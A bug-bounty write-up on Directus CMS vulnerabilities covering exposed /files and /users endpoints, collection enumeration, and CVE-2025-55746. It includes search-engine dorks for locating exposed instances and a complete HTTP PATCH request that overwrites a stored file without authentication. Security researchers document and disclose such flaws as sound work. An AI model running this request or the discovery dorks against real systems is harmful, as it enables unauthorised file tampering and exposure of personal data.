Breaking Directus CMS < 11.9.3 ( From Information Disclosure to Arbitrary File Overwrite )

HOW IT STARTED 


I got early access to Apex, an AI-powered penetration testing agent. I decided to test how effective it really is. I pointed the agent to a specific asset from my primary target and gave it instructions to try an alternative approach if the initial test didn't work. The alternative approach was to scan for CWE-200 on the given target subdomains.


By the end of the scan, it managed to give me information that led to a great find. The agent returned a few endpoints which it marked as "interesting." The endpoints were /files, /users, and /collections.


THE INITIAL DISCOVERY 


I visited /files and noticed it was listing files stored on the CMS instance. The files contained private metadata, but not too impactful. Here's what the response looked like -


```json

{

  "data": [

    {

      "id": "00068ba1-4ad9-4651-b8ff-5e2ca5.....",

      "storage": "clean",

      "filename_disk": "00068ba1-4ad9-4651-b8ff-5e2c.....f65c.jpg",

      "filename_download": "file.jpg",

      "title": "Test title",

      "type": "image/jpeg",

      "folder": "ea3c4551-d396-46ac-83c3-0bb29c4fecab",

      "uploaded_by": "1582e8b3-a64f-4e17-8ea8-b7d4f0a44f0a",

      "created_on": "2025-12-22T11:25:15.879Z",

      "modified_by": null,

      "modified_on": "2026-03-23T15:15:58.261Z",

    }

  ]

}

```


At this time, I had no idea what CMS I was dealing with. I sent the finding above to ChatGPT and Claude, and they revealed that I was dealing with Directus CMS. They advised me to report the /files discovery, so I went ahead and submitted a report. It was triaged and accepted.


I noticed that multiple subdomains of my target were vulnerable to the same issue with /files exposed. I sent another report, and the company replied saying they were already aware of that issue.


So I went to another endpoint, /users. I was able to access PII of every registered user on that CMS instance. The PII contained emails, full names, passwords that were masked, and tokens that were masked. I reported it, and it got accepted as HIGH with a 7.5 severity. This find has the public CVE CVE-2021-26593.





I learned that the /files exposure alone wasn't much impactful. But with the help of CVE-2025-55746, I could make it impactful.


ABOUT DIRECTUS CMS 


Directus is a web CMS. More accurately, it's a real-time API and app dashboard for managing SQL database content, with the capability to manage files.


FINDING DIRECTUS CMS INSTANCE


When you're on the asset, use the Wappalyzer Chrome extension to check the CMS. You may find "Directus." Sometimes Wappalyzer won't detect it, so look into the source code and search for the string "We're sorry but Directus doesn't." If found, then it's running behind Directus CMS.


For the domain structure, sometimes it starts with "cms" like cms.target.com. Sometimes "cms" is an endpoint like target.com/cms. To access the /users endpoint, you'll do target.com/cms/users or cms.target.com/users. Sometimes it could be cms.target.com/admin/users. It depends on how the target configured it.


To find these instances, you can use Censys searching for "Directus," Shodan searching for "Directus," or Google dork: site:com[us|eu|ru|...] "We're sorry but Directus doesn't work" -github -gitlab -google.


THE /COLLECTIONS ENDPOINT


Before I go into /files, let's talk about the /collections endpoint. The `/items/{collection}` API returns different error messages for two cases. When a user tries to access an existing collection which they are not authorized to access, and when a user tries to access a non-existing collection. The two differing error messages leak the existence of collections to users which are not authorized to access these collections. Version 11.13.0 fixes the issue. This is assigned CVE CVE-2025-64749 with MEDIUM severity.


EXPLOITING THE /FILES ENDPOINT WITH CVE-2025-55746 


Going back to the /files endpoint. Most companies won't consider that alone an issue, or they'll say they're already aware of the issue. But I proved them wrong by exploiting an arbitrary file overwrite with improper authentication on that same endpoint they ignored.




This vulnerability allows unauthenticated file upload and modification due to lacking input sanitization. To learn more about this vulnerability, look into https://pcacybersecurity.com/resources/advisory/directus-cve-2025-55746. That resource is very important to help make exploitation easy.


Below is the HTTP PATCH request to aid in exploiting CVE-2025-55746:


```

PATCH /files/UUID HTTP/1.1

Host: target.com

Content-Type: multipart/form-data; boundary=----Boundary

Content-Length: 342

Connection: close

sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: _fbp=fb.2.1758361444036.451620723638737860; _ga_59DNK15E1M=GS2.3.s1758445647$o3$g0$t1758445662$j45$l0$h0; _ga=GA1.1.1755464778.1758361439; _ga_TT42DB03GJ=GS2.1.s1769003876$o3$g1$t1769004837$j60$l0$h0; _ga_SQJ6PNGZV0=GS2.1.s1769003969$o2$g1$t1769004885$j60$l0$h0; _sp_id.8ff2=29f0f87e-bbc5-46b5-871a-bbdbdaaa6762.1771760707.1.1771760736..aae9759f-623e-48e1-84b3-559dce91fa91..777aaa53-f7e5-4ce8-8498-d1198dc737cf.1771760736163.1


------Boundary

Content-Disposition: form-data; name="filename_disk"


00068ba1-4ad9-4651-b8ff-5e2ca547f65c.jpg

------Boundary

Content-Disposition: form-data; name="filename_download"


evil.jpg

------Boundary

Content-Disposition: form-data; name="file"; filename="evil.jpg"

Content-Type: image/jpeg


CONTENT

------Boundary--

```


Check https://app.opencve.io/cve/?vendor=directus for publicly exposed CVEs of Directus CMS. You can definitely test for them on your targets.


Thank you. Let's keep hacking the mainframe.

Comments

Popular Posts